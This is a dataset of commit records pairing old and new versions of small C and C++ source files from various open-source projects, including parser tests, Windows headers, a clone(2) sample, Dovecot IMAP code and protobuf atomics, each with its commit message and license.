cmr/seL4,cmr/seL4,cmr/seL4
ab42abde834a306787fee9b66f6e482501395e3b
parser_tests.c
parser_tests.c
#include "parser.h" #include "ast.h" #include "tests.h" void test_parse_number(); int main() { test_parse_number(); return 0; } struct token *make_token(enum token_type tk_type, char* str, double dbl, int number) { struct token *tk = malloc(sizeof(struct token)); tk->type = tk_type; if (tk_type == tok_dbl) { tk->value.dbl = dbl; } else if (tk_type == tok_number) { tk->value.num = number; } else { tk->value.string = str; } return tk; } void test_parse_number() { struct token_list *tkl = make_token_list(); tkl.append(make_token(tok_number, NULL, 0.0, 42); struct ast_node *result = parse_number(tkl); EXPECT_EQ(result->val, tkl->head); EXPECT_EQ(result->num_children, 0); destroy_token_list(tkl); }
#include "parser.h" #include "ast.h" #include "tests.h" void test_parse_number(); int main() { test_parse_number(); return 0; } struct token *make_token(enum token_type tk_type, char* str, double dbl, int number) { struct token *tk = malloc(sizeof(struct token)); tk->type = tk_type; if (tk_type == tok_dbl) { tk->value.dbl = dbl; } else if (tk_type == tok_number) { tk->value.num = number; } else { tk->value.string = str; } return tk; } void test_parse_number() { struct token_list *tkl = make_token_list(); struct token *tk = make_token(tok_number, NULL, 0.0, 42); append_token_list(tkl, tk); struct ast_node *result = parse_number(tkl); EXPECT_EQ(result->val, tk); EXPECT_EQ(result->num_children, 0); destroy_token_list(tkl); }
Fix bug in parser tests
Fix bug in parser tests The act of parsing the ast pops the token from the token list, so we need a pointer to the token for our assertion.
C
mit
iankronquist/yaz,iankronquist/yaz
b5b27a8a3401ba739778049c258aa8cd52c65d80
client_encoder/win/dshow_util.h
client_encoder/win/dshow_util.h
// Copyright (c) 2012 The WebM project authors. All Rights Reserved. // // Use of this source code is governed by a BSD-style license // that can be found in the LICENSE file in the root of the source // tree. An additional intellectual property rights grant can be found // in the file PATENTS. All contributing project authors may // be found in the AUTHORS file in the root of the source tree. #ifndef CLIENT_ENCODER_WIN_DSHOW_UTIL_H_ #define CLIENT_ENCODER_WIN_DSHOW_UTIL_H_ #include <ios> #include "webmdshow/common/hrtext.hpp" #include "webmdshow/common/odbgstream.hpp" // Extracts error from the HRESULT, and outputs its hex and decimal values. #define HRLOG(X) \ " {" << #X << "=" << X << "/" << std::hex << X << std::dec << " (" << \ hrtext(X) << ")}" #endif // CLIENT_ENCODER_WIN_DSHOW_UTIL_H_
// Copyright (c) 2012 The WebM project authors. All Rights Reserved. // // Use of this source code is governed by a BSD-style license // that can be found in the LICENSE file in the root of the source // tree. An additional intellectual property rights grant can be found // in the file PATENTS. All contributing project authors may // be found in the AUTHORS file in the root of the source tree. #ifndef CLIENT_ENCODER_WIN_DSHOW_UTIL_H_ #define CLIENT_ENCODER_WIN_DSHOW_UTIL_H_ #include <ios> #include "webmdshow/common/odbgstream.hpp" // NOLINT // Above include NOLINT'd because it *must always* come before hrtext. #include "webmdshow/common/hrtext.hpp" // Extracts error from the HRESULT, and outputs its hex and decimal values. #define HRLOG(X) \ " {" << #X << "=" << X << "/" << std::hex << X << std::dec << " (" << \ hrtext(X) << ")}" #endif // CLIENT_ENCODER_WIN_DSHOW_UTIL_H_
Fix release mode compile error.
Fix release mode compile error. odbgstream must always be included before hrtext. Change-Id: I184e8e9ec61c51b8f7e3f5d38135dfa85405d69e
C
bsd-3-clause
kim42083/webm.webmlive,iniwf/webm.webmlive,Acidburn0zzz/webm.webmlive,abwiz0086/webm.webmlive,Maria1099/webm.webmlive,abwiz0086/webm.webmlive,reimaginemedia/webm.webmlive,kalli123/webm.webmlive,iniwf/webm.webmlive,felipebetancur/webmlive,kleopatra999/webm.webmlive,felipebetancur/webmlive,kalli123/webm.webmlive,gshORTON/webm.webmlive,gshORTON/webm.webmlive,kalli123/webm.webmlive,Maria1099/webm.webmlive,Maria1099/webm.webmlive,abwiz0086/webm.webmlive,reimaginemedia/webm.webmlive,altogother/webm.webmlive,felipebetancur/webmlive,webmproject/webmlive,matanbs/webm.webmlive,matanbs/webm.webmlive,felipebetancur/webmlive,gshORTON/webm.webmlive,kim42083/webm.webmlive,Suvarna1488/webm.webmlive,abwiz0086/webm.webmlive,Suvarna1488/webm.webmlive,altogother/webm.webmlive,kleopatra999/webm.webmlive,Maria1099/webm.webmlive,reimaginemedia/webm.webmlive,iniwf/webm.webmlive,altogother/webm.webmlive,Acidburn0zzz/webm.webmlive,ericmckean/webm.webmlive,reimaginemedia/webm.webmlive,iniwf/webm.webmlive,webmproject/webmlive,ericmckean/webm.webmlive,webmproject/webmlive,altogother/webm.webmlive,ericmckean/webm.webmlive,webmproject/webmlive,Suvarna1488/webm.webmlive,kleopatra999/webm.webmlive,matanbs/webm.webmlive,kim42083/webm.webmlive,kleopatra999/webm.webmlive,matanbs/webm.webmlive,Acidburn0zzz/webm.webmlive,kalli123/webm.webmlive,webmproject/webmlive,kim42083/webm.webmlive,Acidburn0zzz/webm.webmlive,felipebetancur/webmlive,gshORTON/webm.webmlive,Suvarna1488/webm.webmlive,ericmckean/webm.webmlive
f2e71822a2b5efe95cf528b7055f49562b9ef2ef
JPetTreeHeader/JPetTreeHeaderLinkDef.h
JPetTreeHeader/JPetTreeHeaderLinkDef.h
#ifdef __CINT__ #pragma link off all globals; #pragma link off all classes; #pragma link off all functions; #pragma link C++ nestedclasses; #pragma link C++ struct JPetTreeHeader::ProcessingStageInfo+; #pragma link C++ class JPetTreeHeader; #endif
Add list LinkDef file for JPetTreeHeader
Add list LinkDef file for JPetTreeHeader Former-commit-id: d29d9e972116a48db9d1c60dc16d6f69a010a693
C
apache-2.0
wkrzemien/j-pet-framework,alexkernphysiker/j-pet-framework,alexkernphysiker/j-pet-framework,alexkernphysiker/j-pet-framework,wkrzemien/j-pet-framework,JPETTomography/j-pet-framework,alexkernphysiker/j-pet-framework,wkrzemien/j-pet-framework,alexkernphysiker/j-pet-framework,JPETTomography/j-pet-framework,wkrzemien/j-pet-framework,JPETTomography/j-pet-framework,wkrzemien/j-pet-framework
f0027dbaaf79f475f325a5a8ff4d1ddbe376df2e
problem_4/solution.c
problem_4/solution.c
#include <stdio.h> #include <stdlib.h> #include <string.h> void reverse_string(char *str){ // skip null if (str == 0){ return; } // skip empty string if (*str == 0){ return; } // get range char *start = str; char *end = start + strlen(str) - 1; // -1 for \0 char temp; // reverse while (end > start){ temp = *start; *start = *end; *end = temp; ++start; --end; } } int is_palindrome_number(int n){ char n_str[10], r_str[10]; snprintf(n_str, sizeof(n_str), "%d", n); // convert int to str snprintf(r_str, sizeof(r_str), "%d", n); reverse_string(0); reverse_string(r_str); if(strcmp(n_str, r_str) == 0){ return 0; }else{ return -1; } } int main(int argc, char *argv[]){ int x, y, v, largest_number; for(x = 100; x < 999; x++){ for(y = 100; y < 999; y++){ v = x * y; if(v > largest_number){ if(is_palindrome_number(v) == 0){ largest_number = v; } } } } printf("%d\n", largest_number); }
Add C implementation for problem 4.
Add C implementation for problem 4.
C
mit
mdsrosa/project_euler,mdsrosa/project_euler,mdsrosa/project_euler,mdsrosa/project_euler,mdsrosa/project_euler,mdsrosa/project_euler,mdsrosa/project_euler,mdsrosa/project_euler
41bde8c2fb193aaa8ebefe7d42b32fb0e12626e9
test/CodeGen/code-coverage.c
test/CodeGen/code-coverage.c
// RUN: %clang -O0 -S -mno-red-zone -fprofile-arcs -ftest-coverage -emit-llvm %s -o - | FileCheck %s // <rdar://problem/12843084> int test1(int a) { switch (a % 2) { case 0: ++a; case 1: a /= 2; } return a; } // Check tha the `-mno-red-zone' flag is set here on the generated functions. // CHECK: void @__llvm_gcov_indirect_counter_increment(i32* %{{.*}}, i64** %{{.*}}) unnamed_addr noinline noredzone // CHECK: void @__llvm_gcov_writeout() unnamed_addr noinline noredzone // CHECK: void @__llvm_gcov_init() unnamed_addr noinline noredzone // CHECK: void @__gcov_flush() unnamed_addr noinline noredzone
// RUN: %clang_cc1 -O0 -emit-llvm -disable-red-zone -femit-coverage-notes -femit-coverage-data %s -o - | FileCheck %s // <rdar://problem/12843084> int test1(int a) { switch (a % 2) { case 0: ++a; case 1: a /= 2; } return a; } // Check tha the `-mno-red-zone' flag is set here on the generated functions. // CHECK: void @__llvm_gcov_indirect_counter_increment(i32* %{{.*}}, i64** %{{.*}}) unnamed_addr noinline noredzone // CHECK: void @__llvm_gcov_writeout() unnamed_addr noinline noredzone // CHECK: void @__llvm_gcov_init() unnamed_addr noinline noredzone // CHECK: void @__gcov_flush() unnamed_addr noinline noredzone
Use correct flags for this test.
Use correct flags for this test. git-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@169768 91177308-0d34-0410-b5e6-96231b3b80d8
C
apache-2.0
apple/swift-clang,apple/swift-clang,llvm-mirror/clang,llvm-mirror/clang,apple/swift-clang,llvm-mirror/clang,llvm-mirror/clang,apple/swift-clang,llvm-mirror/clang,apple/swift-clang,apple/swift-clang,llvm-mirror/clang,llvm-mirror/clang,llvm-mirror/clang,apple/swift-clang,llvm-mirror/clang,apple/swift-clang,apple/swift-clang,llvm-mirror/clang,apple/swift-clang
318d87ddc093ded8e70bb41204079c45e73b4e5e
os/atTime.h
os/atTime.h
#ifndef AT_TIME_H #define AT_TIME_H // Under Windows, define the gettimeofday() function with corresponding types #ifdef _MSC_VER #include <windows.h> #include <time.h> // TYPES struct timezone { int tz_minuteswest; int tz_dsttime; }; // FUNCTIONS int gettimeofday(struct timeval * tv, struct timezone * tz); #else #include <sys/time.h> #endif #endif
#ifndef AT_TIME_H #define AT_TIME_H // Under Windows, define the gettimeofday() function with corresponding types #ifdef _MSC_VER #include <windows.h> #include <time.h> #include "atSymbols.h" // TYPES struct timezone { int tz_minuteswest; int tz_dsttime; }; // FUNCTIONS ATLAS_SYM int gettimeofday(struct timeval * tv, struct timezone * tz); #else #include <sys/time.h> #endif #endif
Add the atSymbols to this so the getTimeOfDay function was usable outside of the windows dll.
Add the atSymbols to this so the getTimeOfDay function was usable outside of the windows dll.
C
apache-2.0
ucfistirl/atlas,ucfistirl/atlas
44b9b99aaa607272a4e90ae42d4aba051b85fb22
3RVX/VolumeSlider.h
3RVX/VolumeSlider.h
#pragma once #include "OSD\OSD.h" #include "MeterWnd\MeterWnd.h" class VolumeSlider : public OSD { public: VolumeSlider(HINSTANCE hInstance, Settings &settings); void Hide(); private: MeterWnd _mWnd; };
#pragma once #include "OSD\OSD.h" #include "SliderWnd.h" class VolumeSlider : public OSD { public: VolumeSlider(HINSTANCE hInstance, Settings &settings); void Hide(); private: SliderWnd _sWnd; };
Use a sliderwnd instance to implement the volume slider
Use a sliderwnd instance to implement the volume slider
C
bsd-2-clause
malensek/3RVX,malensek/3RVX,Soulflare3/3RVX,Soulflare3/3RVX,malensek/3RVX,Soulflare3/3RVX
f8fec98ebb2a755583d53edf7c6326e55d5264ab
include/debug.h
include/debug.h
#ifndef __DEBUG_H__ #define __DEBUG_H__ // Not using extern, define your own static dbflags in each file // extern unsigned int dbflags; /* * Bit flags for DEBUG() */ #define DB_PLIO 0x001 #define DB_TIMER 0x002 #define DB_USER_INPUT 0x004 #define DB_TRAIN_CTRL 0x008 // #define DB_THREADS 0x010 // #define DB_VM 0x020 // #define DB_EXEC 0x040 // #define DB_VFS 0x080 // #define DB_SFS 0x100 // #define DB_NET 0x200 // #define DB_NETFS 0x400 // #define DB_KMALLOC 0x800 #if 0 #define DEBUG(d, fmt, ...) (((dbflags) & (d)) ? plprintf(COM2, fmt, __VA_ARGS__) : 0) #else #define DEBUG(d, fmt, args...) (((dbflags) & (d)) ? plprintf(COM2, fmt, ##args) : 0) #endif #endif // __DEBUG_H__
#ifndef __DEBUG_H__ #define __DEBUG_H__ // Not using extern, define your own static dbflags in each file // extern unsigned int dbflags; /* * Bit flags for DEBUG() */ #define DB_IO 0x001 #define DB_TIMER 0x002 #define DB_USER_INPUT 0x004 #define DB_TRAIN_CTRL 0x008 // #define DB_THREADS 0x010 // #define DB_VM 0x020 // #define DB_EXEC 0x040 // #define DB_VFS 0x080 // #define DB_SFS 0x100 // #define DB_NET 0x200 // #define DB_NETFS 0x400 // #define DB_KMALLOC 0x800 #if 0 #define DEBUG(d, fmt, ...) (((dbflags) & (d)) ? plprintf(COM2, fmt, __VA_ARGS__) : 0) #else #define DEBUG(d, fmt, args...) (((dbflags) & (d)) ? plprintf(COM2, fmt, ##args) : 0) #endif #endif // __DEBUG_H__
Rename DB_PLIO to DB_IO, indicate general IO Debugging
Rename DB_PLIO to DB_IO, indicate general IO Debugging
C
mit
gregwym/PollingTrainControlPanel,gregwym/PollingTrainControlPanel,gregwym/PollingTrainControlPanel
99ad1572b7ed82443816c5aa8025e8a41332dae9
src/math.c
src/math.c
/*------------------------------------------------------------------------------ | NuCTex | math.c | Author | Benjamin A - Nullsrc | Created | 30 December, 2015 | Changed | 31 December, 2015 |------------------------------------------------------------------------------- | Overview | Implementation of various mathematical functions used in the game \-----------------------------------------------------------------------------*/ #include "math.h" #include <stdio.h> #include <stdlib.h> void initRand() { srand(time(NULL)); } int rng(int low, int high) { high += 1; int temp = low; int addend = rand() % (high - low); temp += addend; return temp; } int zrng(int range) { int temp = rand() % (range + 1); return temp; } int brng() { int temp = rand() % 2; return temp; } int calcDamage(int strength) { int damageTotal = 0; damageTotal = rng(strength - (strength/4), strength + (strength/5)); return damageTotal; } int runAway(int escapingAgility, int chasingAgility) { if(escapingAgility > chasingAgility) { return 1; } else { return 0; } }
/*------------------------------------------------------------------------------ | NuCTex | math.c | Author | Benjamin A - Nullsrc | Created | 30 December, 2015 | Changed | 31 December, 2015 |------------------------------------------------------------------------------- | Overview | Implementation of various mathematical functions used in the game \-----------------------------------------------------------------------------*/ #include "math.h" #include <stdio.h> #include <stdlib.h> void initRand() { srand(time(NULL)); } int rng(int low, int high) { high += 1; int temp = low; int addend = rand() % (high - low); temp += addend; return temp; } int zrng(int range) { int temp = rand() % (range + 1); return temp; } int brng() { int temp = rand() % 2; return temp; } int calcDamage(int strength) { int damageTotal = 0; damageTotal = rng(strength - (strength/4), strength + (strength/5)); return damageTotal; } int runAway(int escapingAgility, int chasingAgility) { if((escapingAgility + zrng(escapingAgility/3)) > chasingAgility) { return 1; } else { return 0; } }
Add RNG to running away.
Add RNG to running away.
C
mit
Nullsrc/nuctex,Nullsrc/nuctex
b8c1ebc0155baeb183779aa0ff09133eff3f9d1a
2018/clone/clone-vm-sample.c
2018/clone/clone-vm-sample.c
#define _GNU_SOURCE #include <sched.h> #include <sys/syscall.h> #include <sys/wait.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> static int child_func(void* arg) { char* buf = (char*)arg; strcpy(buf, "hello"); return 0; } int main(int argc, char** argv) { // Stack for child. const int STACK_SIZE = 65536; char* stack = malloc(STACK_SIZE); if (!stack) { perror("malloc"); exit(1); } unsigned long flags = 0; if (argc > 1 && !strcmp(argv[1], "vm")) { flags |= CLONE_VM; } char buf[100] = {0}; if (clone(child_func, stack + STACK_SIZE, flags | SIGCHLD, buf) == -1) { perror("clone"); exit(1); } int status; pid_t pid = waitpid(-1, &status, 0); if (pid == -1) { perror("waitpid"); exit(1); } printf("Child exited. buf = \"%s\"\n", buf); return 0; }
// We have to define the _GNU_SOURCE to get access to clone(2) and the CLONE_* // flags from sched.h #define _GNU_SOURCE #include <sched.h> #include <sys/syscall.h> #include <sys/wait.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> static int child_func(void* arg) { char* buf = (char*)arg; strcpy(buf, "hello"); return 0; } int main(int argc, char** argv) { // Allocate stack for child task. const int STACK_SIZE = 65536; char* stack = malloc(STACK_SIZE); if (!stack) { perror("malloc"); exit(1); } // When called with the command-line argument "vm", set the CLONE_VM flag on. unsigned long flags = 0; if (argc > 1 && !strcmp(argv[1], "vm")) { flags |= CLONE_VM; } char buf[100] = {0}; if (clone(child_func, stack + STACK_SIZE, flags | SIGCHLD, buf) == -1) { perror("clone"); exit(1); } int status; if (wait(&status) == -1) { perror("wait"); exit(1); } printf("Child exited with status %d. buf = \"%s\"\n", status, buf); return 0; }
Clean up and simplify sample
Clean up and simplify sample
C
unlicense
eliben/code-for-blog,eliben/code-for-blog,eliben/code-for-blog,eliben/code-for-blog,eliben/code-for-blog,eliben/code-for-blog,eliben/code-for-blog,eliben/code-for-blog,eliben/code-for-blog,eliben/code-for-blog,eliben/code-for-blog
f9a4ae765c2d0f2b20b8520119610ae3b97f342f
entry_main.c
entry_main.c
/** * Win32 UTF-8 wrapper * * ---- * * main() entry point. * Compile or #include this file as part of your sources * if your program runs in the console subsystem. */ #include "src/entry.h" #undef main int __cdecl main(void) { return win32_utf8_entry(win32_utf8_main); }
/** * Win32 UTF-8 wrapper * * ---- * * main() entry point. * Compile or #include this file as part of your sources * if your program runs in the console subsystem. */ #include "src/entry.h" #undef main int __cdecl wmain(void) { return win32_utf8_entry(win32_utf8_main); } // If both main() and wmain() are defined... // Visual Studio (or more specifically, LINK.EXE) defaults to main() // Pelles C defaults to wmain(), without even printing a "ambiguous entry // point" warning // MinGW/GCC doesn't care, and expects wmain() if you specify -municode, // and main() by default. // Thus, we keep main() as a convenience fallback for GCC. #ifndef _MSC_VER int __cdecl main(void) { return win32_utf8_entry(win32_utf8_main); } #endif
Define wmain() in addition to main().
Define wmain() in addition to main(). Saving those precious nanoseconds that the C runtime would otherwise waste with needlessly converting the command line from UTF-16 to the ANSI codepage. Y'know, I figured it might raise questions if I omit this, and maybe you don't want to have that feel of tainting your build with an unnecessary ANSI function… But yeah, entry point precedence *was* a question I had when writing these wrappers, so at least it serves as documentation now. But yeah, main() ultimately *is* the superior choice, due to both being cross-platform and requiring less build configuration. Now, if GCC had a #pragma to control its entry point selection behavior, it would be awesome and I'd be gushing with praise at this marvelous piece of compiler technology. This is still pretty nice though.
C
unlicense
thpatch/win32_utf8
83a9513518fe6b2f3009961e00da454d286ec503
journald.c
journald.c
#include <Python.h> #include <systemd/sd-journal.h> #ifndef journaldpython #define journaldpython static PyObject * journald_send(PyObject *self, PyObject *args) { //const char *command; //int sts; //if (!PyArg_ParseTuple(args, "s", &command)) // return NULL; //sts = system(command); //return Py_BuildValue("i", sts); sd_journal_send("Test message: %s.", "arg1", NULL); Py_INCREF(Py_None); return Py_None; } static PyMethodDef journaldMethods[] = { {"send", journald_send, METH_VARARGS, "Send an entry to journald."}, {NULL, NULL, 0, NULL} /* Sentinel */ }; PyMODINIT_FUNC initjournald(void) { (void) Py_InitModule("journald", journaldMethods); } #endif
#include <Python.h> #include <systemd/sd-journal.h> #ifndef journaldpython #define journaldpython static PyObject * journald_send(PyObject *self, PyObject *args) { //const char *command; //int sts; //if (!PyArg_ParseTuple(args, "s", &command)) // return NULL; //sts = system(command); //return Py_BuildValue("i", sts); sd_journal_print(1, "Test message: %s.", "arg1", NULL); Py_INCREF(Py_None); return Py_None; } static PyMethodDef journaldMethods[] = { {"send", journald_send, METH_VARARGS, "Send an entry to journald."}, {NULL, NULL, 0, NULL} /* Sentinel */ }; PyMODINIT_FUNC initjournald(void) { (void) Py_InitModule("journald", journaldMethods); } #endif
Use sd_journal_print() instead of send.
Use sd_journal_print() instead of send.
C
lgpl-2.1
keszybz/python-systemd,glittershark/python-systemd,systemd/python-systemd,again4you/python-systemd,keszybz/python-systemd,glittershark/python-systemd,Awesense/python-systemd,systemd/python-systemd,again4you/python-systemd,Awesense/python-systemd,davidstrauss/python-systemd,davidstrauss/python-systemd,Awesense/python-systemd
30f89db8bbf73ca872502a46fc243fd987ba2210
mud/home/Verb/sys/verb/core/wiz/ooc/kernel/kqreset.c
mud/home/Verb/sys/verb/core/wiz/ooc/kernel/kqreset.c
/* * This file is part of Kotaka, a mud library for DGD * http://github.com/shentino/kotaka * * Copyright (C) 2017 Raymond Jennings * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU Affero General Public License as * published by the Free Software Foundation, either version 3 of the * License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU Affero General Public License for more details. * * You should have received a copy of the GNU Affero General Public License * along with this program. If not, see <http://www.gnu.org/licenses/>. */ #include <kernel/user.h> #include <kotaka/paths/system.h> #include <kotaka/paths/text.h> #include <kotaka/paths/verb.h> inherit LIB_VERB; string *query_parse_methods() { return ({ "raw" }); } void main(object actor, mapping roles) { int sz; string *resources; object proxy; string args; if (query_user()->query_class() < 3) { send_out("Permission denied.\n"); return; } args = roles["raw"]; resources = KERNELD->query_resources(); proxy = PROXYD->get_proxy(query_user()->query_name()); for (sz = sizeof(resources), --sz; sz >= 0; --sz) { proxy->rsrc_set_limit(args, resources[sz], -1); } send_out("Resource limits for " + args + " removed.\n"); }
Add new verb to reset the kernel library resource limits for an owner
Add new verb to reset the kernel library resource limits for an owner
C
agpl-3.0
shentino/kotaka,shentino/kotaka,shentino/kotaka
08cd66d0c280fc5c89c40e13156bb298f7f3a49d
src/imap/cmd-create.c
src/imap/cmd-create.c
/* Copyright (C) 2002 Timo Sirainen */ #include "common.h" #include "mail-namespace.h" #include "commands.h" bool cmd_create(struct client_command_context *cmd) { struct mail_namespace *ns; const char *mailbox, *full_mailbox; bool directory; size_t len; /* <mailbox> */ if (!client_read_string_args(cmd, 1, &mailbox)) return FALSE; full_mailbox = mailbox; ns = client_find_namespace(cmd, &mailbox); if (ns == NULL) return TRUE; len = strlen(full_mailbox); if (len == 0 || full_mailbox[len-1] != ns->sep) directory = FALSE; else { /* name ends with hierarchy separator - client is just informing us that it wants to create children under this mailbox. */ directory = TRUE; mailbox = t_strndup(mailbox, len-1); full_mailbox = t_strndup(full_mailbox, strlen(full_mailbox)-1); } if (!client_verify_mailbox_name(cmd, full_mailbox, FALSE, TRUE)) return TRUE; if (mail_storage_mailbox_create(ns->storage, mailbox, directory) < 0) client_send_storage_error(cmd, ns->storage); else client_send_tagline(cmd, "OK Create completed."); return TRUE; }
/* Copyright (C) 2002 Timo Sirainen */ #include "common.h" #include "mail-namespace.h" #include "commands.h" bool cmd_create(struct client_command_context *cmd) { struct mail_namespace *ns; const char *mailbox, *full_mailbox; bool directory; size_t len; /* <mailbox> */ if (!client_read_string_args(cmd, 1, &mailbox)) return FALSE; full_mailbox = mailbox; ns = client_find_namespace(cmd, &mailbox); if (ns == NULL) return TRUE; len = strlen(full_mailbox); if (len == 0 || full_mailbox[len-1] != ns->sep) directory = FALSE; else { /* name ends with hierarchy separator - client is just informing us that it wants to create children under this mailbox. */ directory = TRUE; mailbox = t_strndup(mailbox, strlen(mailbox)-1); full_mailbox = t_strndup(full_mailbox, len-1); } if (!client_verify_mailbox_name(cmd, full_mailbox, FALSE, TRUE)) return TRUE; if (mail_storage_mailbox_create(ns->storage, mailbox, directory) < 0) client_send_storage_error(cmd, ns->storage); else client_send_tagline(cmd, "OK Create completed."); return TRUE; }
CREATE ns_prefix/box/ didn't work right when namespace prefix existed.
CREATE ns_prefix/box/ didn't work right when namespace prefix existed.
C
mit
LTD-Beget/dovecot,LTD-Beget/dovecot,LTD-Beget/dovecot,LTD-Beget/dovecot,LTD-Beget/dovecot
d44886c857b812d404e8dc8f192423239b627fb9
cpp/libjoynr/include/joynr/LibJoynrDirectories.h
cpp/libjoynr/include/joynr/LibJoynrDirectories.h
/* * #%L * %% * Copyright (C) 2011 - 2013 BMW Car IT GmbH * %% * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. * #L% */ #ifndef LIBJOYNRDIRECTORIES_H #define LIBJOYNRDIRECTORIES_H #include "joynr/RequestCaller.h" #include "joynr/IReplyCaller.h" #include "joynr/Directory.h" #include "joynr/ISubscriptionCallback.h" #include <string> namespace joynr { typedef Directory<std::string, RequestCaller> RequestCallerDirectory; typedef Directory<std::string, IReplyCaller> ReplyCallerDirectory; typedef Directory<std::string, ISubscriptionCallback> AttributeSubscriptionDirectory; } // namespace joynr #endif // LIBJOYNRDIRECTORIES_H
/* * #%L * %% * Copyright (C) 2011 - 2013 BMW Car IT GmbH * %% * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. * #L% */ #ifndef LIBJOYNRDIRECTORIES_H #define LIBJOYNRDIRECTORIES_H #include "joynr/RequestCaller.h" #include "joynr/IReplyCaller.h" #include "joynr/Directory.h" #include "joynr/ISubscriptionCallback.h" #include <string> namespace joynr { typedef Directory<std::string, RequestCaller> RequestCallerDirectory; typedef Directory<std::string, IReplyCaller> ReplyCallerDirectory; } // namespace joynr #endif // LIBJOYNRDIRECTORIES_H
Remove unused alias for Directory (AttributeSubscriptionDirectory)
[C++] Remove unused alias for Directory (AttributeSubscriptionDirectory) Change-Id: I3345bf2e269c0e34f0c4c026b1ada457fbdd734c
C
apache-2.0
bmwcarit/joynr,clive-jevons/joynr,bmwcarit/joynr,clive-jevons/joynr,bmwcarit/joynr,clive-jevons/joynr,bmwcarit/joynr,clive-jevons/joynr,clive-jevons/joynr,clive-jevons/joynr,bmwcarit/joynr,bmwcarit/joynr,bmwcarit/joynr,bmwcarit/joynr,bmwcarit/joynr
e9977231c2ea243d7db1c064c57d52669fb3acec
src/google/protobuf/stubs/atomicops_internals_pnacl.h
src/google/protobuf/stubs/atomicops_internals_pnacl.h
// Protocol Buffers - Google's data interchange format // Copyright 2012 Google Inc. All rights reserved. // http://code.google.com/p/protobuf/ // // Redistribution and use in source and binary forms, with or without // modification, are permitted provided that the following conditions are // met: // // * Redistributions of source code must retain the above copyright // notice, this list of conditions and the following disclaimer. // * Redistributions in binary form must reproduce the above // copyright notice, this list of conditions and the following disclaimer // in the documentation and/or other materials provided with the // distribution. // * Neither the name of Google Inc. nor the names of its // contributors may be used to endorse or promote products derived from // this software without specific prior written permission. // // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS // "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT // LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR // A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT // OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, // SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT // LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, // DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT // (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE // OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. // This file is an internal atomic implementation, use atomicops.h instead. #ifndef GOOGLE_PROTOBUF_ATOMICOPS_INTERNALS_PNACL_H_ #define GOOGLE_PROTOBUF_ATOMICOPS_INTERNALS_PNACL_H_ namespace google { namespace protobuf { namespace internal { inline Atomic32 NoBarrier_CompareAndSwap(volatile Atomic32* ptr, Atomic32 old_value, Atomic32 new_value) { return __sync_val_compare_and_swap(ptr, old_value, new_value); } inline void MemoryBarrier() { __sync_synchronize(); } inline Atomic32 Acquire_CompareAndSwap(volatile Atomic32* ptr, Atomic32 old_value, Atomic32 new_value) { Atomic32 ret = NoBarrier_CompareAndSwap(ptr, old_value, new_value); MemoryBarrier(); return ret; } inline void Release_Store(volatile Atomic32* ptr, Atomic32 value) { MemoryBarrier(); *ptr = value; } inline Atomic32 Acquire_Load(volatile const Atomic32* ptr) { Atomic32 value = *ptr; MemoryBarrier(); return value; } } // namespace internal } // namespace protobuf } // namespace google #endif // GOOGLE_PROTOBUF_ATOMICOPS_INTERNALS_PNACL_H_
Add the missing PNaCl atomicops support.
Add the missing PNaCl atomicops support. git-svn-id: 6df6fa3ddd728f578ea1442598151d5900a6ed44@462 630680e5-0e50-0410-840e-4b1c322b438d
C
bsd-3-clause
kastnerkyle/protobuf-py3,da2ce7/protobuf,mpapierski/protobuf,kastnerkyle/protobuf-py3,kastnerkyle/protobuf-py3,mpapierski/protobuf,da2ce7/protobuf,patrickhartling/protobuf,GreatFruitOmsk/protobuf-py3,svn2github/google-protobuf,svn2github/protobuf-mirror,lcy03406/protobuf,GreatFruitOmsk/protobuf-py3,beyang/protobuf,svn2github/protobuf-mirror,mkrautz/external-protobuf,lcy03406/protobuf,patrickhartling/protobuf,beyang/protobuf,lcy03406/protobuf,lcy03406/protobuf,Distrotech/protobuf,mkrautz/external-protobuf,GreatFruitOmsk/protobuf-py3,da2ce7/protobuf,beyang/protobuf,patrickhartling/protobuf,svn2github/protobuf-mirror,Distrotech/protobuf,da2ce7/protobuf,svn2github/google-protobuf,svn2github/protobuf-mirror,mpapierski/protobuf,Distrotech/protobuf,svn2github/protobuf-mirror,patrickhartling/protobuf,mpapierski/protobuf,svn2github/google-protobuf,mkrautz/external-protobuf,kastnerkyle/protobuf-py3,patrickhartling/protobuf,svn2github/google-protobuf,da2ce7/protobuf,Distrotech/protobuf,mkrautz/external-protobuf,kastnerkyle/protobuf-py3,lcy03406/protobuf,mpapierski/protobuf,b